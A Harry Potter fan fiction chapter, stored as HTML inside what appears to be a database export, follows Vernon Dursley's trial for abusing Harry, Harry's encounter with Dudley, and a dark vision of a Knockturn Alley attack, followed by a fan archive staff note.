friend, of both Dumbledore and McGonagall, who referred to as his \'wee young lady\'. Remus and Sirius had a grudging respect for him- though they called him \'the old coot\' behind his back. And Moody barely looked him in the eye -Harry didn\'t dare to ask what that was about. And as for Harry himself. He thought that the old man was brilliant. When he wasn\'t putting the remaining Marauders in their place, or Snape, he was flirting with McGonagall, buying rounds of Butterbeers in Hogsmede, listening to muggle \'rock\' music, or almost crashing another of the school broomsticks, as he attempted to learn Quidditch. To prove it\'s never too late to teach an old dog new tricks.</p>\n\n<p>Dumbledore had once referred to him as one of the \'old crowd\', and from what Harry could gather, it was a very mixed bunch. Thinking of them, reminded Harry of Mrs Figg. Or Ms. Figg, as was more appropriate, considering that she wasn\'t married, and only about forty years old. He smiled slightly, remembering his shock at finding out just how old she was behind the polyjuice potion. He said that she had acted \'old\' very well. Remus asked him what made him think she\'d been acting.</p>\n\n<p>He wondered what he\'d ask her, if he ever saw her again. \'Do you actually like cats?\' seemed to be a good one.</p>\n\n<p>A few of the people in the waiting area ceased their conversations when they noticed the two wizards. Fortunately, Harry\'s fringe was covering his scar at that moment, and those that didn\'t recognise him from his picture in the Daily Prophet, didn\'t see his scar- his most easily identifiable feature. Most returned to their conversations, either oblivious to Harry, or now talking about him, and occasionally looking at him. </p>\n\n<p>Harry was about to ask Remus about how long they might be waiting here, before the trial started. Then the sound of laboured breathing caught his attention. It was heavy, thick and exhausted, but it made the hairs on the back of Harry\'s neck stand on end. He knew that sound, but the one that followed, a gruff, deep voice, he would know anywhere. And it was coming from behind him, from the staircase; he\'d made his way up, just a few short minutes ago.</p>\n\n<p>&quot;What is it with these \'people\'? Have they never heard of a lift (elevator for U.S readers) before? ... These bloody people, you\'d think that they\'d use this abnormality of theirs to their advantage, and put a lift in, but no. Bloody stairs everywhere in this freak town!&quot;</p>\n\n<p>Then a younger, more well educated sounding voice cut in.</p>\n\n<p>&quot;Now Mr Dursley, I\'m sure that we can enquire about this matter. Perhaps an appeal under the human rights act?&quot; The voice cut off as a light chuckle followed.</p>\n\n<p>&quot;Honestly Mr Dursley, I doubt that you will have to do this very often. This is just a show trial, a mockery of the court. Having a \'normal\' jury, will already work to our advantage. I doubt it will be long before you can return home, with a full pardon. I shall be angling for a public apology too.&quot;</p>\n\n<p>&quot;I should say so, after all those months I spent crawling around in the dirt as a bug; I should think that that is the least they can do. I should ...&quot;</p>\n\n<p>But Vernon never finished his sentence, for at that moment he\'d reached the last step of the marble staircase.</p>\n\n<p>Harry\'s muscles had automatically tensed up as he\'d heard the laboured sound of his Uncles lungs being made to work hard. He\'d heard it before, many times. He knew who it was before they had even said a word.</p>\n\n<p>That breath, hot on the back of his neck, was still fresh in his memory. Hot, and labouring, as it struggled to get out as many fowl-worded insults, mostly about Harry\'s mother and father, as possible. Whilst Harry was held down, forced to listen and then ... more things he didn\'t want to think about. A shiver of the past ran through him, as he turned to face the demon of that hellish place in his life. He felt Remus standing, shifting, tall and proud behind him. The shiver past.</p>\n\n<p>There on the landing, was a red-faced and panting Vernon. A slight irony hit Harry.</p>\n\n<p>He can hit me for three times longer than it takes to get up those stairs, and barely even breaks a sweat. He only breaks for tea and biscuits, but he can\'t manage a few flights of stairs?</p>\n\n<p>His Uncle visibly grimaced. But it looked more like he\'d just received a slightly higher-than-normal telephone bill, than had been confronted with the main witness in an attempted murder trial. For that was what it was. Dumbledore had said they would not be sparing and would make sure they would press for the highest punishment for such a crime. No \'out\' in 8-10 years, no parole, and defiantly no early release for good behaviour.</p>\n\n<p>His Uncle looked different somehow. As though he\'d aged twenty years since he\'d last seen him. He\'d actually lost weight. Perhaps a dung-beetle diet had done him good. His neck was visible for the first time since Harry had known him, most of his hair was grey, and there were deep shadows under his eyes suggesting many nights of sleeplessness. All in all, he was a rather pathetic sight. Not at all like the giant, power-welding man Harry remembered in his dreams. But there was still enough of that power about him, enough to make sure that Harry felt alert, and ready to move at the slightest provocation. His auror training had been sharpening his reflexes, and he definitely would not allow his Uncle to lay a hand on him again.</p>\n\n<p>There was somewhat of a smug look on his Uncles face. And that did not sit well with him. Vernon seemed to be unjustly self-assured. Though when Harry saw Vernon\'s lawyer standing beside him, the same young, faux-tanned, blond haired individual Harry had seen downstairs earlier, he could understand why. The lawyer looked at him in such a way that made Harry feel like he was the one on trial, guilty, and like a very small child all at the same time. Vernon\'s lawyer was confident. And that was definitely unsettling.</p>\n\n<p>&quot;Come on Harry.&quot; Remus said softly, as he placed one comforting hand on his left shoulder, and gently pulled him away to the other side of the waiting room.</p>\n\n<p>Once they had reached the point furthest away from relative, they took the nearest seat, and Harry let out the breath he hadn\'t realised he\'d been holding, and tried to slow the beating of his heart. And Remus looked at him questioningly. He nodded that he was all right, though the shock had probably shown on his face. They hadn\'t thought that he\'d be meeting his Uncle, anywhere other than the courtroom, and then with quite some distance between the two. The security at this place was even more lax than they had previously thought. Maybe Harry would bring the Staff with him next time, he\'d like to see Mistspellt try and take that away from him.</p>\n\n<p>A few moments after they had sat down, Harry saw a familiar mop of blond hair appear above the top step, it paused for a moment, and great gasping of air could be heard. A moment later his now tank-sized cousin appeared. Attempting to breath whilst eating a king-sized mars bar. Three more poked out of his jacket pocket, along with a grubby hanker chief, a set of keys that was obvious by the way the pocket bulged, as it clung tightly to Dudley\'s\' massive stomach. Harry couldn\'t quite believe that Dudley had managed to get the buttons closed on his industrial sized suit jacket.</p>\n\n<p>&quot;He must have three stomachs. That can\'t be healthy.&quot; Remus whispered beside him. Harry was left to watch his cousin, now wondering just how healthy a boy that big could be, now that he could no longer be dismissed as \'just big-boned\'. Dudley ambled towards a chair, having not yet noticed Harry, which was occupied by a pretty young witch, perhaps a few years older than Harry. Dudley just looked her up and down, his eyes lingering in places that they ought not to be. Before a loud fake cough from his father clearly alerted Dudley his mistake. He was ogling a witch after all.</p>\n\n<p>Great, the fat-lump\'s discovered the opposite sex. God I pity them.</p>\n\n<p>Dudley had averted his gaze from the witch, though his eyes occasionally strayed, that was until he saw Harry.</p>\n\n<p>A look of pure hatred instantly swept across his face. That was something of a shock. Harry didn\'t think he\'d ever seen a genuine emotion on that boy\'s face. But the one he saw there now, could rival Draco\'s\' own brand of Slytherin-style glares. Dudley hovered for a moment, apparently stewing in his hatred for his cousin, thinking of a million and one things to say. It gave Dudley some energy, and he no longer went to collapse into the nearest chair, but moved towards Harry. </p>\n\n<p>Vernon and his lawyer didn\'t make an attempt to stop him, but by now they were deep in conversation, and didn\'t notice a small moon casting them into a shadowed eclipse, as it moved across the waiting room.</p>\n\n<p>Dudley moved with more purpose than he ever had when enjoying a \'hunting Harry\' game with his gang. When he was about halfway across the room, Remus rose to intercept. But Harry grabbed his arm.</p>\n\n<p>&quot;No, it\'s all right. Let him come. He has something to say, and he needs to say it.&quot; </p>\n\n<p>Remus nodded, a flash of pride was reflected in his eyes. And he moved to stand behind Harry, in a protective gesture. One he seemed to make a lot of recently.</p>\n\n<p>Though Harry knew how greatly Sirius cared for him. It was Remus who was most able to express that emotion for him. Not that Harry blamed his Godfather in the least. Sirius spent more than half his time pretending to be Hogwarts\' newest school pet. And the time that Harry could spend with him, he was more often than not having curses thrown at him by his Godfather, in his \'extra\' classes. Remus though, had quickly become the most popular teacher at Hogwarts, amongst Gryffindors especially. Every Thursday night, Remus would come up to their common room, a few house elves trailing happily behind him, with plates of cream cakes. And then he\'d stay until eleven \'o\' clock, regaling them with a another story about the Marauders, their schemes and their pranks, and when these more often than not went wrong, of what a young Filch would make them do during detention. But what most people looked forward to, especially the girls, were hearing more tales of how James Potter famously romanced Lily Evans from their fifth year onwards, or at least, attempted to. </p>\n\n<p>Though at times Harry felt a little embarrassed by this, he was nice for him to hear about his parent\'s lives. He felt he had a better measure of the people they were, a lot of questions were being answered for him. And Remus would not hear a bad word spoken about Sirius. In fact someone who had made an ill-timed comment, found themselves sent out of the room, and told not to come back. Remus had said that they shouldn\'t judge a person, by what anyone other than those who knew them closely said. That was more than enough indication for some of the Gryffindors to cotton on that all was not right with Sirius being put in Azkaban, and that he might be innocent. Remus even spoke of Peter Pettigrew with a fond affection for the last wheel of their group.</p>\n\n<p>&quot;Do you know what you\'ve done to my parents, freak?&quot; </p>\n\n<p>Harry sighed. He\'d been waiting for a confrontation like this for quite some time. And had come to the conclusion that it would be pointless to try and argue against whatever Dudley might have to say. And taking one look at his cousin, he judged that it would probably be unhealthy for Dudley not to get things off his chest. A chest that appeared to be heavily burdened. For a moment Harry felt concern, just how healthy could his cousin be? And though he wasn\'t particularly fond of his cousin, he felt no need to see him have a coronary.</p>\n\n<p>So he stood there, silently, and took it. His cousin trembled with barley contained rage, and for the first time in his life, he appeared to be genuinely sad. Dudley said many despicable things, but with intelligence Harry had never thought he possessed, Dudley was careful not to implicate his father. </p>\n\n<p>Harry had deserved everything that he\'d gotten, or so Dudley told him (not mentioning Vernon as a part of it). And he deserved even more. That thanks to Harry, they\'d been forced to spend time in the wizarding world. And had found out more than a few choice facts about Harry. They now knew that Harry was the cause of Cedric Diggory\'s death, that he was famous. And that the reason behind that fame was that his name was intrinsically linked to the deaths of two individuals. Dudley even made it clear that those weren\'t the only names he felt Harry\'s should be linked with. Harry\'s parents were thrown into the mix. At that, Remus started, quite ready to pound Dudley\'s face into a bloody mess, but Harry put a hand up, holding Remus back and silencing him. But Dudley wasn\'t finished; he played his last card.</p>\n\n<p>&quot;Mum left us. Because. Of. You. She ran off. My mother ... she left, she left us both ... she won\'t even talk to us ...&quot;</p>\n\n<p>The silence stretched between them. And at that moment, Harry didn\'t know what to feel. Had he torn apart yet another family? Had he been the cause of Dudley losing his darling mummy? Or had he opened her eyes to the truth? Set her free in some way? Free from an ungrateful son, a violent husband? Right then, Harry could only think of something Ron had started to say recently. \'It\'s all a bloody mess, but at least there\'s still doughnuts in the fridge\'.</p>\n\n<p>Dudley\'s heavy breathing slowed, his face becoming less beetroot in colour, his shoulders relaxing as if a great weight had been lifted. And it was then that Harry realised, that all the other things Dudley had said, meant nothing to his cousin. All that mattered, all that mattered to Dudley, was that only thing he\'d probably had ever loved, had gone. And feeling some measure of loyalty to his father, meant that it was Harry he blamed. Blamed because he needed somebody, anybody, to take it.</p>\n\n<p>There was a brief flicker of regret on Dudley\'s face, one that showed Harry far more than his cousin had intended. Harry wouldn\'t be angry with him anymore, he understood. And if when Vernon was sentenced, Dudley wanted to reach out and try to be family. That would be okay. So he took the first step. Putting a hand to Dudley\'s shoulder, in what he hoped was a non-threatening manner, he said slowly and clearly.</p>\n\n<p>&quot;I\'m sorry that she left Dudley. But you know why she did, and I won\'t apologise for that.&quot; Harry\'s eye\'s flickered to Vernon, who\'d stopped talking to his lawyer, and now appeared a little concerned at whatever Harry might be saying to his precious Dudders. Dudley craned his head to follow Harry\'s gaze, and turned back, but at no point had he attempted to remove Harry\'s hand.</p>\n\n<p>&quot;Dudley, she didn\'t leave you, she left him. You know that, and you know that you don\'t have to stay either. If you ever want a friend, a real one, let me know.&quot;</p>\n\n<p>Dudley blinked, but turned and walked away.</p>\n\n<p>As he rejoined his father, a mask of smugness covered his face, and Vernon appeared satisfied.</p>\n\n<p>&quot;I\'m proud of you Harry. That took a lot of guts.&quot;</p>\n\n<p>&quot;Thanks.&quot;</p>\n\n<p>The arrival of six security wizards coming up the marble staircase, soon diverted their attention. Between their ranks of two columns, of three wizards, were two other wizards in plush velvet robes. One wore deep blue robes, and possessed dark blond hair. The other wore blood red, with black hair. And just behind them, was a wizard with vibrant green robes. He had black hair, which was slicked back, greying at the temples. A small, but precisely trimmed three-point goatee nestled on his chin and upper lip. Two gold rings, set with diamonds and rubies, adorned his left hand. And a dark brown leather band was wrapped around his right wrist. These straps were also present on the right wrists of the two wizards in front of him.</p>\n\n<p>The closer that they came, the more details Harry could see on the bands. It was plain, except for a golden coloured blob in the centre. No, it was a shape, an image, closer still. And then it became clear. It was a phoenix.</p>\n\n<p>Harry looked at the three men with a renewed respect. These men were members of the Order of the Phoenix, a small but important group within the Auror force. For the most part they were not known to the public. Though they did not shy away from allowing people to know who they were. Only the most powerful wizards need apply to this group, or the most intelligent. It was unsurprising that a Judge over-seeing this particular trial, would be a member, but it could lead to some questions as to how unbiased the Judge might be. If Harry had any questions himself, they were answered a few moments later.</p>\n\n<p>The man in green, the Judge, stopped just before Harry, halting the procession with a wave of his hand. His gaze shifted quickly to Remus, who bowed his head briefly in a respectful nod.</p>\n\n<p>&#8220;It has been a long time Remus.&#8221; When the Judge had spoken, Harry recognised in it the same subtly of power, in a voice that never needed to be raised. He&#8217;d only heard that in a few people, Dumbledore and Snape amongst them.</p>\n\n<p>&#8220;Indeed it has, Grand Judge Ravencast.&#8221;</p>\n\n<b><p>Ravencast? Ravencast, where have I heard that name before? Markus Ravencast?</p>\n\n</b><p>&#8220;Too long Remus. Tell me, will you ever attempt the Task of the Flame again?&#8221;</p>\n\n<p>Remus looked momentarily like a shy schoolboy.</p>\n\n<p>&#8220;I err&#8230; I don&#8217;t think that it is meant for me. &#8230; I heard about Markus, your honour. I&#8217;m sorry for your loss.&#8221;</p>\n\n<p>A flicker of sadness crossed the Judges face, and the power of his baring momentarily slipped, as his shoulders slumped. It was a simple gesture, but one that should a father in pain at the loss of a child.</p>\n\n<p>&#8220;Thank you Remus. So, this is young Mr. Potter then.&#8221; He said turning to Harry. Who suddenly felt very much like he was being inspected for flaws. But he nodded politely.</p>\n\n<p>&#8220;I have heard much about you Mr.Potter, much indeed. But I warn you, I will not be swayed in my judgement of your Uncle, based on anything I have heard about you, good or bad. Your fame and standing in both wizard and muggle communities will have no meaning here. This court shall be in the up most fair. But I hand out only the maximum penalty&#8217;s in this court, and only if I&#8217;m sufficiently satisfied by the evidence in hand.&#8221; He leaned in a little closer.</p>\n\n<p>&#8220;All who are guilty will eventually pay, in this life, or the next.&#8221;</p>\n\n<p>And without another word, Grand Judge Ravencast swept away in a sea of security wizards and fellow members of the order of the phoenix.</p>\n\n<p>As he approached the oak doorway to the courtroom, the silvery patterning on them began to change to a dusky gold, before the doors made an odd creaking noise. </p>\n\n<p>Judge Ravencast stood before them, and the silvery, now gold pattern began to resemble something more like a language. The doors creaked once again, and then swung open.</p>\n\n<p>~o0o~</p>\n\n<p>The court itself was a great surprise. It was completely normal. At least from a muggle point of view. It was basic, little decoration, beyond a picture of Merlin, the founding wizard at the back of the courtroom. Dark oak panelling appeared to be the theme, and large windows to the left side allowed for floods of natural light. Making the room warm, but none the less stuffy. </p>\n\n<p>It appeared to be an old-fashioned muggle courtroom. The Judge and other Phoenix members presided over the proceedings form three chairs raised about a foot above the court, behind a panelled off section at the back of the courtroom. In front of that was the dock, in which the accused would stand, or sit, as was probably necessary in Vernon&#8217;s case. The dock at least appeared secure, it was boxed in up to waist height, with iron bars running from the rest of the length to the ceiling. </p>\n\n<p>The raised platform to the left held twelve chairs, for the jury members. Small note pads and pencils were placed upon each chair. Two desks were located further down from the back, facing each other, two chairs at each. The one on the left for the Defence, and the right, for the Prosecution. One small, but sturdy-looking chair was placed between them. </p>\n\n<p>Behind all of this was what appeared to be the public gallery. Made of rows of joined seating with an aisle in the middle, which Harry currently walked up. There was a small gate placed between thin railings, which separated the gallery from the main court. Judge Ravencast tapped it, and it sprung open. </p>\n\n<b><p>So not so entirely normal after all.</p>\n\n</b><p>Harry followed them through, Remus behind him, and came to a stand at the prosecution desk. After them most of the Jury took their seats. Uncle Vernon was escorted past Harry amongst four security wizards, and locked inside the dock, with a grimace on his face. </p>\n\n<p>There was one feature in the room however, that did not appear normal. Now that he was closer to it, Harry could see that beneath the witness chair, between the defence and prosecution desks, was a circular line. It was faint, but shimmering gold, with a dusky red tint. It was about four feet in diameter, and a pentagram was drawn in the same colour within it. It was quite strange, because although it was a symbol most commonly connected with witches, by muggles at Halloween. Harry had never actually come across it in all of his time at Hogwarts. </p>\n\n<p>It was surprising actually, how well both muggle and wizarding influences worked together. It was a shame that the authorities of the muggle council seemed to think so little of muggles. And though Harry&#8217; s experience of them for the most part was not at their best, he felt that they had some qualities many wizards lacked. Like ingenuity and practicality. They had found a way to survive in the world without relying on magic to do it for them.</p>\n\n<p>A steady flow of people began entering into the courtroom. From the last of the Jury, to Vernon&#8217;s lawyer. Some people he didn&#8217;t recognise entering with Minister Fudge, other minister&#8217;s, presumably. A few muggles in suits taking seats on the Defence side of the gallery. Then two people he did recognise, and immediately smiled at their presence, Mr and Mrs Weasley. Their purpose here was for both silent support of Harry, and to eventually give testimony for the portions of those &#8230; events, that for obvious reasons, Harry had no memory of. Mrs Weasley smiled nervously at him, raising her other hand to show she was holding a bag- no doubt containing many homemade goodies. A moment later Bill Weasley, dressed in his usual Gringotts attire-a mostly black, fashionably ankle-length robe, black trousers and shoes, and a muggle rucksack, with &#8216;Gringott&#8217;s&#8217; written across it in large white letters, completed the ensemble. He made a silly little Staff-holding gesture, as he grinned at Harry. Mrs Weasley noticed, and immediately hit him on the arm with her bag- spilling several mini pumpkin pies in the process. </p>\n\n<p>The Jury had all taken their seats and had begun talking amongst themselves. All of them respectable-looking muggles. Housewives, Doctors and Dentists Harry would bet by the looks of them. Some of them were looking over at him and his Uncle with a mild interest. One of them made a funny face at him, as though he smelt real bad, and looked away. One of the problems of the joint court system, was that if a wizard was the Judge, then the entire Jury, by law, had to be all muggles. This, as Harry could tell, might pose a problem for him. Tensions between muggles and wizards in matters of law were notoriously high. For those few muggles who were allowed to keep their knowledge of Wizards and magic, and not have a memory charm cast on them, were usually parents of muggle-born witches and wizards. But the few who weren&#8217;t, and were allowed to keep their knowledge anyway, were usually very bitter towards the magical community. Reasons for this were best known to the people involved. But in the laws sense of fairness, it was considered only right that an equal number of people on an all muggle jury, must be known to either like or hate wizards. Thus, Harry&#8217;s testimony was likely to have to convince a group of six people who already had a prejudice towards him, simply because he was magically inclined. He wondered how he was supposed to convince them. Show them his scars?</p>\n\n<p>Hagrid and Dumbledore entered, Hagrid raising one if his giant hands in a wave but looking nervously about him. Harry wondered what could make him nervous in a place like this, given that he was at least a couple of heads taller than anyone else in the room. Sirius for obvious reasons could not come. Escaped prisoners might be welcomed &#8216;warmly&#8217; back in a court of law, but as of the moment, unable to prove the existence of Wormtail as they were, it was something they&#8217;d rather not risk. And &#8216;pets&#8217; weren&#8217;t allowed, no matter how well behaved they were, except perhaps guide dogs.</p>\n\n<p>Mundungus Fletcher ambled in not five minutes later, slightly hunched over on his right side at the weight of his brief case, his tatty, best court robes were pooling on the floor as he walked. He refused point blank to believe that he was shrinking with age. The man himself appeared characteristically untidy, a beard growth so long that it almost qualified as muttonchops. Fletcher would say that all his appearance needed was the love of a good woman, and he&#8217;d be both clean- shaven and well fed in no time. Fletcher stopped to talk to Dumbledore for a moment, making a great show of being disappointed that his &#8216;darling Minevera&#8217; was not around. Dumbledore had a slightly bemused expression on his face, as he lightly explained that the Professor needed to stay behind in charge of the school while he was away. But, and if Harry wasn&#8217;t imagining things here (as he sometimes did), Dumbledore actually appeared somewhat jealous of the old mans attention. Harry took his glasses off and gave them a good clean with his robes, and put them back on again. Nope, it was still there; he couldn&#8217;t blame the expression on Dumbledore&#8217;s face with a smudge mark on his glasses.</p>\n\n<p>Fletcher finished what had become a one-sided (his side) conversation with Dumbledore, and passed through the gate to arrive at Harry&#8217;s side, dismissing Lupin with a flick of his hand. Lupin paused, apparently considering making an obscene gesture behind the old man&#8217;s back, before Dumbledore called his name and he walked away. </p>\n\n<p>Fletcher gave Harry a lop-sided smile, showing a row of slightly misshapen teeth, stained by many years of black coffee, and hand-rolled Cuban cigars. Then he patted Harry on the back several times, hard. Harry&#8217;s hand flew to his face to prevent his newly cleaned glasses flying off. Stronger than he appeared, was the only thing Harry thought at the time, though in time he would find out just how correct this intuition-which itself was getting stronger- really was. </p>\n\n<p>Fletcher pushed Harry down into his seat so he could now only see Dumbledore, Remus and the others by turning to his right. The old man then began drawing papers form his briefcase in a rather haphazard manner, flinging them onto the table in a somewhat organised mess. Harry looked directly across from himself, and saw Vernon&#8217;s lawyer, the Draco-like man, doing the same thing, only without the mess.</p>\n\n<p>A final two people entered, before the doors were closed, and the security wizards posted at the exit.</p>\n\n<p>The last two people though, were somewhat of a surprise, he didn&#8217;t know who one of them was, but the other he definitely had not been expecting. The one that he didn&#8217;t know, was an attractive older witch, perhaps in her early forties, with long blond hair pulled into a sleek but simple knot at the back of her neck, of which a strand of small pearls adorned. Her robes were clean and a pale blue. They matched her steel blue/grey eyes very well. Those eyes could have been seen as cold, but to Harry they held a lot of warmth. The woman held the hand of the other, tightly with both of her own, and whispered words of comfort and reassurance, though Harry could not hear them. The other person was Aunt Petunia.</p>\n\n<p>Her eyes met Harry&#8217;s briefly, and he searched them for any clue as to what she was feeling. Try as he might to find some semblance of a maternal instinct in them for him, he could not discern anything, his intuition failed him this time, and all he was left with was the hope of a real blood relative feeling a bond with him. She turned away. Led to a seat by the witch. To a seat on Vernon&#8217;s side. Harry&#8217;s hope faded. But only for a moment, when he saw that his Aunt refused to meet the shocked gaze of her husband, Vernon&#8217;s mouth currently open wide enough, Harry was sure he could rent it out as a plane hanger. </p>\n\n<p>A slamming noise jolted him, and the rest of the courtroom, as Grand Judge Ravencast hit his gavel to call order.</p>\n\n<p>The trial had begun.</p>\n\n<p>And then Harry was hit with a sudden longing to just be back at Hogwarts, talking to his friends, playing Quidditch, or even God forbid, being in a potions lesson. Just being normal, as normal being &#8216;the&#8217; Harry Potter ever got anyway. Right now, being hit with a Fungal growth curse seemed like more fun. Harry&#8217;s head started to hurt.</p>\n\n<p>Grand Judge Ravencast began to speak.</p>\n\n<p>&#8220;Today, the twelfth of March, the year two-thousand-two, we call upon the wisdom of our ancestors and our first reasons to guide us, to settle the differences, and bring the true magic of peace to our lands. Blessed Be.&#8221;</p>\n\n<p>&#8220;Blessed be&#8221; the court chimed in union.</p>\n\n<p>Which was the traditional opening for all trials, the only thing that had changed about it, in the three hundred or so years it had been in use was the date. The Judge continued.</p>\n\n<p>&#8220;Today we are gathered, ladies and Gentlemen, for the preliminary stage in this trial. We will hear the opening arguments from the opposing sides, and hear the first plea.&#8221;</p>\n\n<p>Harry rubbed his brow, his headache was definitely getting worse, his eyes began to water, and he lost track of what the Judge was saying. He felt Fletcher shifting to stand beside him, and the vibrations he could feel through the floor and his chair told him that the old man had begun speaking. </p>\n\n<p>White-hot pain ripped across his brow, and he put the heel of his hand to his head in effort to push it back, closing his eyes as he did so. The pain started to become more focused, more intense towards a single point on his forehead. He tried to focus his mind back on what was being said, only to realise many minutes must have passed.</p>\n\n<p>&#8220;Mr Dursley, you stand accused of serious abuse of a minor, and that you knowingly committed an act of grievous bodily harm, with the intention of murder. How do you plead?&#8221;</p>\n\n<p>The pain hurt so much Harry felt that his head might explode from the burning hot knife like pain, twisting itself like a skewer in his mind. He let out a small gasp, as his scar felt like it was being ripped open, and the last words he heard were,</p>\n\n<p>&#8220;Not Guilty.&#8221;</p>\n\n<p>Before the floor rushed up to greet him, with a jarring pain on his left shoulder, a scolding liquid traced a path, dripping in one line down his face, and a deeply unpleasant blackness took him.</p>\n\n<p>~o0o~</p>\n\n<p>Flashes of a single image of terrifying intensity were the only break in the pervading blackness in which Harry&#8217;s mind was lost. An image that at first viewing was so blurry, he was not certain he had seen it. An image, that came with an increasing regularity, one that was cleared and refined on each &#8216;viewing&#8217;. But still they were separated by vast periods in a suffocating darkness. Harry could see nothing beyond it, barely even aware of his own mind. Only aware of the all-consuming darkness and fear, one that burned and bled on his body in the real world.</p>\n\n<p>It was not like the other scar-related dreams, maybe visions was a better word. It was not like the other visions he had had before. They had always been something that was happening right then, and it was always like watching a movie. In which Voldemort was the central character. It was Voldemort&#8217;s mind, to which Harry was inexplicably joined, but this time, this time it was different. Harry didn&#8217;t feel like he was watching some horrifying events from the sidelines, he felt as though he was there, looking through the eyes of someone, maybe even himself.</p>\n\n<p>But the first and foremost clue to this being an unusual vision was that he was neither asleep, nor dozing. He had not been on the verge of unconsciousness, when it had happened, this was more like an attack. An attack on his mind, when he should have felt no fear of such an occurrence. </p>\n\n<p>Harry felt the image straying close to his mind, and though it in itself was frightening for all of the things it seemed to reveal, he clung to it, whenever it was close by. The need for colour, sound, smell, and any other sense that he had none of in the darkness, over-rode the instinct to turn away from it. </p>\n\n<p>The image, the feelings it brought, and growing awareness of what it meant, were cleared yet again. He was unsure how often he had seen it now. A man, old with snowy white hair, was always the first thing he saw. The mans face was too blurred to identify who it was, almost as though Harry was not wearing his glasses. But it was clear enough to make out some things. The man&#8217;s face was lit up with a small amount of amber-tinged light, like that of a street lamp, it revealed that his skin was cracking, and that his hair was receding. He was being dragged along a cobbled street, by men in dark cloaks. Three of them, and Harry was looking through the eyes of one of these men. When he should only have been an observer in this nightmare, now he was a part of it. He could feel his own hands on the man, though they were older and more worn somehow. They dug into material, squeezing and pushing maliciously at the frail form beneath it. </p>\n\n<p>Each time the image played in his mind, Harry became aware of something else. The only sound he could hear at first, was the faint echoing of a deep, cracking voice, sobbing out in a low scream, as time past he became aware of a second voice, deep and cruel, making an order. And then Harry became aware of his own vocal chords saying, or having said something, but what he could not tell, at least in that moment he could not.</p>\n\n<p>Inklings of knowledge were repeated and cleared each time Harry saw the image. And still, despite the terror he felt at the sight, he dragged it towards his mind whenever he felt it near, anything better than that darkness, from which he could neither breathe, move, nor feel any emotion, it was stifling, and brought to mind an intense feeling of claustrophobia. Like being trapped in a metal box, or a cupboard&#8230;</p>\n\n<p>The robes he wore were that of a Deatheater, that much he had become certain of. And he felt &#8230; pleasure, at the pain he knew he was causing the old man. He could see even through the blur that disguised the actual identity of the man, that there was a look of absolute terror etched into his face. </p>\n\n<p>Harry spun into darkness again for a time, unaware of anything other than the feeling of suffocation, but of a breath on his neck, and heat. </p>\n\n<p>He pulled the image towards himself when he felt it&#8217;s return, relief however, soon turned to horror. He was once again aware of his hands. Older, larger, papery dry and calloused. One was still digging into the old man&#8217;s abdomen, pushing painfully at the skin between the ribs, causing breathlessness. The other though, he was now aware was raised slightly at the elbow, and holding a wand. A wand that had recently cast a spell. And as the image was played over and over again in his mind, he knew that the spell that had been cast, was more paralysing than the Imperious curse, more painful than the Cruciatus curse, and less welcome than Avada Kedavra. One so old and terrible, Harry should not of known of its existence, but he did, he knew the words. And knew that only moments ago he had uttered them.</p>\n\n<p>And still yet despite all of this, he bade the image welcome in his mind, pulling it to him, whenever he could, if only for the knowledge it brought, something he knew that in some life he had outside of all this, it would be important. For the moment he could only look at it, he could not bring himself to deliberate over it&#8217;s meaning; though in the real world that would change. He would begin to fear and fret over who he was, over who he was becoming. Because, by the end of this, he would know that this event had yet to occur, but what he would not know, was if he was looking through the eyes of another, or through his own. Somewhere at the very edge of his awareness, the need to know whether this was in his future, helped to give him the strength to see it. But strength, as always, was reliant on many things. Strength would fade, as it was doing so now. The image and the knowledge it brought, strayed less closely to Harry&#8217;s prying mind. The strength of will it took to see it, was failing. Longer times he spent in a world of suffocating darkness, praying to be released in any form. </p>\n\n<p>The image came closer again, and with a sense of finality about it, Harry hoped only to have the strength to finally see the face of the one tormented in the image. To see them, and perhaps prevent it from ever coming to pass. But he was not strong enough, he garnered a few more details, Knockturn Alley, that was were it would happen. But when it would happen, could have been but a few months or many years. And the face became no clearer.</p>\n\n<p>He felt heat, and the sudden panic of realising he was not strong enough to fight the darkness, or find solace in the image. He clung desperately to it, wishing, hope against hope for a renewed strength, calling in his mind to anything that might aid him. It seemed that something answered his call. Told him only not to fear the darkness, to rest. But the fear that tore at Harry&#8217;s heart at the thought was stronger. He could no longer tempt the image to his mind.</p>\n\n<p>He could no longer hold on. He felt himself spinning, spinning into darkness unlike any other, were no life grew, were nothing could simply be. A voice told him once again not to fear it. But he could not take heed of the advice. He was spinning, into an inferno of suffocating heat, bound to it. Bound to it for an indeterminate infinity.</p>\n\n<p>And then he was lost.</p>\n\n<p>~o0o~</p>\n\n<p>Wow! Thanks for actually finishing this chapter! Now you can all go ahead and flame me. Whether it to be to tell me that this is a load &#8216;ol horse poop, or because I don&#8217;t write quick enough. Hoping it&#8217;s just the latter, I&#8217;m off to get writing. Thank you once again to all those kind people who reviewed, and a special thanks to those people who e-mailed me to check that I was still alive. -This last group especially, who like Nappa and Jeremie, made me wanna write a lot quicker. Ta ta for now, fellow Hp geeks!</p> '),
	(6, 4, ' <br>\n\n\n<p>\n\n</p><p>\n\n<i>Portkey Staff (gal-texter) Note May 2009: We\'ve re-uploaded this as readers have stumbled on this fic as recent as March 2009. </i><i>Unfortunately, </i><i>Chocchip seems to have abandoned this story and the fandom. </i><i></i><i>\n\n</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Choccip\'s original A/N</i><i>:</i><i>\n\n</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>*waves nervously, shuffles feet*</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>&#8220;Ahem, whilst this author realises the nature of her mistakes, well alright that I\'m just pain naff at updating. I do have very good reasons.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>1)Have recently become much-older sister to a five-week old brother(I`m 19). Thus babysitting has become an honour-bound tradition in the family.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>2)Have had other scenes popping into my head demanding attention. For example, I have the final 2major scenes of this year written. Also have about five or six others over the course of all 3 years done too! Not too mention that there\'s a story set sometime in the past that becomes increasingly important as the fic progresses. And I\'m thinking I might need to do a prequel for it. But you\'ll find out about that later, or at the end of this chapter if your paying attention!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>3)Well it was Christmas and everything, you can\'t expect me to write all the time *ducks rotten tomatoes* okay, okay, no more excuses!!!!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>4)This one turned out quite a bit longer 